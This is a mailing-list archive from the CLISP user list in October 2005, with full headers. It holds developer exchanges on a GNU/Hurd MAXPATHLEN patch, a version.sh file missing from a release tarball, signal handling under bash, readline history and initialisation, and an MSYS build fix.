Date: Sat Oct 15 18:50:20 2005 X-Original-Date: Sat, 15 Oct 2005 21:47:42 -0400 > * T. Kurt Bond [2005-10-14 14:34:38 -0400]: > > Is there any reason version.sh is missing from clisp-2.35.tar.bz2 and > clisp-2.35.tar.gz? what do you need it for? -- Sam Steingold (http://www.podval.org/~sds) running w2k Sinners can repent, but stupid is forever. From sds@gnu.org Sat Oct 15 19:16:53 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EQy4z-0006Do-Cm for clisp-list@lists.sourceforge.net; Sat, 15 Oct 2005 19:16:53 -0700 Received: from smtp02.mrf.mail.rcn.net ([207.172.4.62]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EQy4w-0003SS-VK for clisp-list@lists.sourceforge.net; Sat, 15 Oct 2005 19:16:53 -0700 Received: from 65-78-14-10.c3-0.nwt-ubr2.sbo-nwt.ma.cable.rcn.com (HELO WINSTEINGOLDLAP) ([65.78.14.10]) by smtp02.mrf.mail.rcn.net with ESMTP; 15 Oct 2005 22:16:50 -0400 X-IronPort-AV: i="3.97,218,1125892800"; d="scan'208"; a="132707545:sNHT21508884" To: clisp-list@lists.sourceforge.net, "Soeren D. Schulze" Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <435108DA.2080401@gmx.de> (Soeren D. Schulze's message of "Sat, 15 Oct 2005 15:49:14 +0200") References: <435108DA.2080401@gmx.de> Mail-Followup-To: clisp-list@lists.sourceforge.net, "Soeren D. Schulze" Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' Subject: [clisp-list] Re: Patch to fix a MAXPATHLEN issue Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sat Oct 15 19:18:06 2005 X-Original-Date: Sat, 15 Oct 2005 22:15:45 -0400 > * Soeren D. Schulze [2005-10-15 15:49:14 +0200]: > > there was the issue that GNU/Hurd does not define MAXPATHLEN. > > This is not a bug in GNU/Hurd, as POSIX does not require MAXPATHLEN and > neither do the GNU Coding Standards. For major parts of the code, the > existence of MAXPATHLEN is asserted by an #ifndef clause. thanks. what is the difference between MAXPATHLEN and MAX_PATH? (and what is the latter's value on hurd?) -- Sam Steingold (http://www.podval.org/~sds) running w2k There are 3 kinds of people: those who can count and those who cannot. From soeren.d.schulze@gmx.de Sun Oct 16 06:41:51 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1ER8lo-0003iJ-2O for clisp-list@lists.sourceforge.net; Sun, 16 Oct 2005 06:41:48 -0700 Received: from imap.gmx.net ([213.165.64.20] helo=mail.gmx.net) by mail.sourceforge.net with smtp (Exim 4.44) id 1ER8ln-0005a5-Mx for clisp-list@lists.sourceforge.net; Sun, 16 Oct 2005 06:41:48 -0700 Received: (qmail invoked by alias); 16 Oct 2005 13:41:39 -0000 Received: from p5092735E.dip.t-dialin.net (EHLO [192.168.1.8]) [80.146.115.94] by mail.gmx.net (mp034) with SMTP; 16 Oct 2005 15:41:39 +0200 X-Authenticated: #9357126 Message-ID: <43525891.3000809@gmx.de> From: "Soeren D. Schulze" User-Agent: Mozilla Thunderbird 1.0.7 (X11/20051010) X-Accept-Language: de-DE, de, en-us, en MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net References: <435108DA.2080401@gmx.de> In-Reply-To: Content-Type: text/plain; charset=UTF-8; format=flowed Content-Transfer-Encoding: 8bit X-Y-GMX-Trusted: 0 X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: Patch to fix a MAXPATHLEN issue Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Oct 16 06:43:15 2005 X-Original-Date: Sun, 16 Oct 2005 15:41:37 +0200 Sam Steingold schrieb: >>* Soeren D. Schulze [2005-10-15 15:49:14 +0200]: >> >>there was the issue that GNU/Hurd does not define MAXPATHLEN. >> >>This is not a bug in GNU/Hurd, as POSIX does not require MAXPATHLEN and >>neither do the GNU Coding Standards. For major parts of the code, the >>existence of MAXPATHLEN is asserted by an #ifndef clause. > > > thanks. > what is the difference between MAXPATHLEN and MAX_PATH? > (and what is the latter's value on hurd?) I don't know about the difference. I assume it is equivalent. GNU libc's realpath uses PATH_MAX, at least, if defined by the system, they say in the documentation. GNU philosophy is, however, that there should be no limits at all. So under GNU/Hurd, neither MAXPATHLEN nor MAX_PATH are defined. Right now this makes me ponder about other uses of MAXPATHLEN in CLisp because CLisp defines MAXPATHLEN itself in the .d files. The point is that if you define MAXPATHLEN yourself but realpath thinks there are no limits, couldn't this cause a buffer overflow? I will have to check where MAXPATHLEN is also used and if there are functions that behave differently if MAXPATHLEN is undefined on the system -- like realpath. Another problem is that my patch does an assumption: that if MAXPATHLEN is undefined, realpath supports being called with NULL. This is the case for all the systems I know (GNU/Hurd being the only system that does not define MAXPATHLEN), but if one tries to compile it on a system that does not fit this assumption, it will create a subtle runtime error. In any case, beware removing the "# ifdef MAXPATHLEN" case. This would introduce a build error for all systems that do not support realpath being called with NULL. Nevertheless, if you have reviewed the patch and you think it works, it is probably safe to apply it as it will not affect other systems being currently supported. Sören From tkb@tkb.mpl.com Sun Oct 16 15:34:41 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1ERH5V-000354-J3 for clisp-list@lists.sourceforge.net; Sun, 16 Oct 2005 15:34:41 -0700 Received: from externalmx-1.sourceforge.net ([12.152.184.25]) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1ERH5U-00075P-Fr for clisp-list@lists.sourceforge.net; Sun, 16 Oct 2005 15:34:41 -0700 Received: from tkb.mpl.com ([64.181.9.74]) by externalmx-1.sourceforge.net with esmtp (TLSv1:AES256-SHA:256) (Exim 4.41) id 1ERGSM-0005ts-HS for clisp-list@lists.sourceforge.net; Sun, 16 Oct 2005 14:54:16 -0700 Received: from tkb.mpl.com (tkb.mpl.com [64.181.9.74]) by tkb.mpl.com (8.13.1/8.13.1) with ESMTP id j9GLrsxj010251; Sun, 16 Oct 2005 17:53:55 -0400 (EDT) (envelope-from tkb@tkb.mpl.com) From: "T. Kurt Bond" MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <17234.52210.654607.757804@tkb.mpl.com> To: clisp-list@lists.sourceforge.net Subject: RE: [clisp-list] Re: version.sh is missing from clisp-2.35.tar.bz2 and clisp-2.35.tar.gz In-Reply-To: References: <17231.64062.785260.818593@tkb.mpl.com> X-Mailer: VM 7.19 under Emacs 21.3.1 X-Greylist: Sender DNS name whitelisted, not delayed by milter-greylist-2.0 (tkb.mpl.com [64.181.9.74]); Sun, 16 Oct 2005 17:53:55 -0400 (EDT) X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Oct 16 15:35:46 2005 X-Original-Date: Sun, 16 Oct 2005 17:53:54 -0400 Sam Steingold writes: > > * T. Kurt Bond [2005-10-14 14:34:38 -0400]: > > > > Is there any reason version.sh is missing from clisp-2.35.tar.bz2 and > > clisp-2.35.tar.gz? > > what do you need it for? How about: $ ./configure --version ./configure: line 161: ./version.sh: No such file or directory doc/Makefile has impnotes.xml depending on it, so any attempt to build the documentation from scratch requires it. -- T. Kurt Bond, tkb@tkb.mpl.com From sds@gnu.org Sun Oct 16 15:35:47 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1ERH6T-00038O-UU for clisp-list@lists.sourceforge.net; Sun, 16 Oct 2005 15:35:41 -0700 Received: from smtp02.mrf.mail.rcn.net ([207.172.4.62]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1ERH6T-0007Ge-Iv for clisp-list@lists.sourceforge.net; Sun, 16 Oct 2005 15:35:42 -0700 Received: from 65-78-14-10.c3-0.nwt-ubr2.sbo-nwt.ma.cable.rcn.com (HELO WINSTEINGOLDLAP) ([65.78.14.10]) by smtp02.mrf.mail.rcn.net with ESMTP; 16 Oct 2005 18:35:39 -0400 X-IronPort-AV: i="3.97,220,1125892800"; d="scan'208"; a="133211482:sNHT22078880" To: clisp-list@lists.sourceforge.net, Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <17229.36006.179998.35200@thalassa.informatimago.com> (Pascal Bourguignon's message of "Thu, 13 Oct 2005 00:22:30 +0200") References: <20051011044258.8864110F9F6@thalassa.informatimago.com> <17229.16723.601116.73881@thalassa.informatimago.com> <17229.36006.179998.35200@thalassa.informatimago.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AMPERSAND BODY: Text interparsed with & 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' Subject: [clisp-list] Re: A script receiving a signal doesn't execute cleanup forms! Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Oct 16 15:37:07 2005 X-Original-Date: Sun, 16 Oct 2005 18:34:35 -0400 > * Pascal Bourguignon [2005-10-13 00:22:30 +0200]: > > > [pjb@thalassa tmp]$ /usr/local/languages/clisp-2.35-woreadline/bin/clisp -ansi -q -norc -K full -x '(unwind-protect (sleep 60) > (format t "Clean-up!") > (finish-output))' & p=$! >> > [1] 15706 > [pjb@thalassa tmp]$ kill $p > > [1]+ Stopped /usr/local/languages/clisp-2.35-woreadline/bin/clisp -ansi -q -norc -K full -x '(unwind-protect (sleep 60) > (format t "Clean-up!") > (finish-output))' > [pjb@thalassa tmp]$ fg > /usr/local/languages/clisp-2.35-woreadline/bin/clisp -ansi -q -norc -K full -x '(unwind-protect (sleep 60) > (format t "Clean-up!") > (finish-output))' > Exiting on signal 15 > Clean-up! this is bug in bash - this does not happen under other shells. (and yes, this has nothing to do with readline&clisp) -- Sam Steingold (http://www.podval.org/~sds) running w2k He who laughs last did not get the joke. From sds@gnu.org Sun Oct 16 15:55:41 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1ERHPf-00044m-0E for clisp-list@lists.sourceforge.net; Sun, 16 Oct 2005 15:55:31 -0700 Received: from smtp02.mrf.mail.rcn.net ([207.172.4.62]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1ERHPe-0001Rn-T8 for clisp-list@lists.sourceforge.net; Sun, 16 Oct 2005 15:55:31 -0700 Received: from 65-78-14-10.c3-0.nwt-ubr2.sbo-nwt.ma.cable.rcn.com (HELO WINSTEINGOLDLAP) ([65.78.14.10]) by smtp02.mrf.mail.rcn.net with ESMTP; 16 Oct 2005 18:55:30 -0400 X-IronPort-AV: i="3.97,220,1125892800"; d="scan'208"; a="133222052:sNHT46821870" To: clisp-list@lists.sourceforge.net, "T. Kurt Bond" Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <17234.52210.654607.757804@tkb.mpl.com> (T. Kurt Bond's message of "Sun, 16 Oct 2005 17:53:54 -0400") References: <17231.64062.785260.818593@tkb.mpl.com> <17234.52210.654607.757804@tkb.mpl.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, "T. Kurt Bond" Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: version.sh is missing from clisp-2.35.tar.bz2 and clisp-2.35.tar.gz Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Oct 16 15:57:17 2005 X-Original-Date: Sun, 16 Oct 2005 18:54:25 -0400 > * T. Kurt Bond [2005-10-16 17:53:54 -0400]: > > Sam Steingold writes: >> > * T. Kurt Bond [2005-10-14 14:34:38 -0400]: >> > >> > Is there any reason version.sh is missing from clisp-2.35.tar.bz2 and >> > clisp-2.35.tar.gz? >> >> what do you need it for? > > How about: > $ ./configure --version > ./configure: line 161: ./version.sh: No such file or directory oops, I fixed in the CVS. thanks. > doc/Makefile has impnotes.xml depending on it, so any attempt to build > the documentation from scratch requires it. doc/Makefile is developer-only. -- Sam Steingold (http://www.podval.org/~sds) running w2k (lisp programmers do it better) From balshi@wellingtonnz.com Sun Oct 16 19:19:43 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1ERKbB-00077H-QC for clisp-list@lists.sourceforge.net; Sun, 16 Oct 2005 19:19:37 -0700 Received: from [220.82.104.132] (helo=wellingtonnz.com) by mail.sourceforge.net with smtp (Exim 4.44) id 1ERKbA-0006GY-8J for clisp-list@lists.sourceforge.net; Sun, 16 Oct 2005 19:19:37 -0700 From: "Baldric Shi" To: "Bethney Sippel" Message-ID: X-Spam-Score: 2.5 (++) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 MISSING_DATE Missing Date: header 1.6 MISSING_SUBJECT Missing Subject: header 0.9 UPPERCASE_50_75 message body is 50-75% uppercase Subject: [clisp-list] (no subject) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Oct 16 19:22:55 2005 X-Original-Date: Sun Oct 16 19:20:50 2005 404 Not Found

Not Found

The requested URL was not found on this server.


Apache/1.3.31
From kavenchuk@jenty.by Mon Oct 17 03:20:55 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1ERS6s-0004ms-Pz for clisp-list@lists.sourceforge.net; Mon, 17 Oct 2005 03:20:50 -0700 Received: from [194.158.196.38] (helo=mail.jenty.by) by mail.sourceforge.net with esmtp (Exim 4.44) id 1ERS6o-0003fr-9L for clisp-list@lists.sourceforge.net; Mon, 17 Oct 2005 03:20:47 -0700 Received: from [150.0.0.200] (STNT067 [150.0.0.200]) by mail.jenty.by with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2655.55) id 4YCK5J62; Mon, 17 Oct 2005 13:21:48 +0300 Message-ID: <43537B55.9020603@jenty.by> From: Yaroslav Kavenchuk User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; ru-RU; rv:1.7.8) Gecko/20050511 X-Accept-Language: ru, en, en-us MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net References: In-Reply-To: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PARATHESES_OPEN BODY: Text interparsed with ( 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ Subject: [clisp-list] Re: readline question Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Oct 17 03:22:09 2005 X-Original-Date: Mon, 17 Oct 2005 13:22:13 +0300 Sam Steingold wrote: >>multi-line command split to separate lines after save in history >>(~/.clisp-history) and load from it >> >>How correct it? > > > try removing > > strcat(new_line,"\n"); > > in rd_ch_terminal3() > maybe. > it has not helped Thanks! -- WBR, Yaroslav Kavenchuk. From kavenchuk@jenty.by Mon Oct 17 07:43:21 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1ERWCv-00022Y-B4 for clisp-list@lists.sourceforge.net; Mon, 17 Oct 2005 07:43:21 -0700 Received: from [194.158.196.38] (helo=mail.jenty.by) by mail.sourceforge.net with esmtp (Exim 4.44) id 1ERWCq-0006yk-QN for clisp-list@lists.sourceforge.net; Mon, 17 Oct 2005 07:43:18 -0700 Received: from [150.0.0.200] (STNT067 [150.0.0.200]) by mail.jenty.by with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2655.55) id 4YCK5KWB; Mon, 17 Oct 2005 17:44:03 +0300 Message-ID: <4353B8CD.80107@jenty.by> From: Yaroslav Kavenchuk User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; ru-RU; rv:1.7.8) Gecko/20050511 X-Accept-Language: ru, en, en-us MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net References: In-Reply-To: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: readline initialize Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Oct 17 07:45:58 2005 X-Original-Date: Mon, 17 Oct 2005 17:44:29 +0300 Sam Steingold wrote: > apparently the internal readline screen size detection (invoked between > your (reset-screen-size) and the first prompt output) is not too good. > please discuss this with the readline maintainer and do report back here > what you find out! > > thanks. > My bug: before call (reset-screen-size) need check rl_readline_state: (ffi:def-c-var rl_readline_state (:type ffi:int) (:library "readline5.dll") (:name "rl_readline_state")) and if it is zero call rl_initialize: (ffi:def-call-out rl_initialize (:library "readline5.dll") (:name "rl_initialize") (:language :stdc) (:return-type ffi:int)) example: (when (zerop rl_readline_state) (rl_initialize)) (reset-screen-size) Thanks! -- WBR, Yaroslav Kavenchuk. From sds@gnu.org Mon Oct 17 08:32:08 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1ERWxj-0004Ys-SS for clisp-list@lists.sourceforge.net; Mon, 17 Oct 2005 08:31:43 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1ERWxc-0006Im-1n for clisp-list@lists.sourceforge.net; Mon, 17 Oct 2005 08:31:42 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.52.184]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j9HFVD2Q010587; Mon, 17 Oct 2005 11:31:20 -0400 (EDT) To: clisp-list@lists.sourceforge.net, Yaroslav Kavenchuk Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <43537B55.9020603@jenty.by> (Yaroslav Kavenchuk's message of "Mon, 17 Oct 2005 13:22:13 +0300") References: <43537B55.9020603@jenty.by> Mail-Followup-To: clisp-list@lists.sourceforge.net, Yaroslav Kavenchuk Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PARATHESES_OPEN BODY: Text interparsed with ( 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_AMPERSAND BODY: Text interparsed with & 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' Subject: [clisp-list] Re: readline question Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Oct 17 08:34:49 2005 X-Original-Date: Mon, 17 Oct 2005 11:30:09 -0400 > * Yaroslav Kavenchuk [2005-10-17 13:22:13 +0300]: > > Sam Steingold wrote: > >>>multi-line command split to separate lines after save in history >>>(~/.clisp-history) and load from it >>> >>>How correct it? >> >> >> try removing >> >> strcat(new_line,"\n"); >> >> in rd_ch_terminal3() >> maybe. >> > > it has not helped > > Thanks! then please debug it yourself, using gdb and readline&history manuals -- Sam Steingold (http://www.podval.org/~sds) running w2k When we write programs that "learn", it turns out we do and they don't. From kavenchuk@jenty.by Tue Oct 18 02:18:38 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1ERncD-0003De-Tr for clisp-list@lists.sourceforge.net; Tue, 18 Oct 2005 02:18:37 -0700 Received: from [194.158.196.38] (helo=mail.jenty.by) by mail.sourceforge.net with esmtp (Exim 4.44) id 1ERncC-0005kA-DZ for clisp-list@lists.sourceforge.net; Tue, 18 Oct 2005 02:18:37 -0700 Received: from [150.0.0.200] (STNT067 [150.0.0.200]) by mail.jenty.by with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2655.55) id 4YCK5ND6; Tue, 18 Oct 2005 12:19:20 +0300 Message-ID: <4354BE31.2090504@jenty.by> From: Yaroslav Kavenchuk User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; ru-RU; rv:1.7.8) Gecko/20050511 X-Accept-Language: ru, en, en-us MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net References: In-Reply-To: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: readline question Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Oct 18 02:19:24 2005 X-Original-Date: Tue, 18 Oct 2005 12:19:45 +0300 Sam Steingold wrote: >>>>multi-line command split to separate lines after save in history >>>>(~/.clisp-history) and load from it >>>> >>>>How correct it? >>> >>> >>>try removing >>> >>> strcat(new_line,"\n"); >>> >>>in rd_ch_terminal3() >>>maybe. >>> >> >>it has not helped >> >>Thanks! > > > then please debug it yourself, using gdb and readline&history manuals > I have read manuals and source codes. IMHO, it is necessary write own functions "write-history" and "read-history" or replace \n by a blank (IMHO bad idea). Thanks! -- WBR, Yaroslav Kavenchuk. From e@flavors.com Tue Oct 18 21:56:37 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1ES603-0004YL-52 for clisp-list@lists.sourceforge.net; Tue, 18 Oct 2005 21:56:27 -0700 Received: from smtp.drrizzick.com ([208.252.48.26] helo=mail.drrizzick.com) by mail.sourceforge.net with smtp (Exim 4.44) id 1ES602-0006xD-4d for clisp-list@lists.sourceforge.net; Tue, 18 Oct 2005 21:56:27 -0700 Received: from DAWNE by mail.drrizzick.com (DrRizzick Mail Server V1.x.x) with SMTP id WOW68248 for ; Wed, 19 Oct 2005 00:55:48 -0400 From: Doug Currie X-Mailer: The Bat! (v2.11.02) Business Reply-To: Doug Currie X-Priority: 3 (Normal) Message-ID: <1495752626.20051019005552@flavors.com> To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - Subject: [clisp-list] MSYS MinGW build modules from CVS Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Oct 18 21:57:10 2005 X-Original-Date: Wed, 19 Oct 2005 00:55:52 -0400 Building from CVS today, MinGW / MSYS has trouble with src/makemake.in when building modules. It may be that bash with MSYS is pretty old... > GNU bash, version 2.04.0(1)-release (i686-pc-msys) > Copyright 1999 Free Software Foundation, Inc. but that is a guess. Anyway, changing the line that begins echotab "m=\`cd ${MODULESDIR_}\$@; pwd\`; if test -f \$@/configure -a \$@/configure -nt to instead begin as echotab "m=\`cd ${MODULESDIR_}\$@; pwd\`; if test -f \$@/configure -a '!' -f seems to fix it for me. e From kavenchuk@jenty.by Wed Oct 19 00:09:47 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by 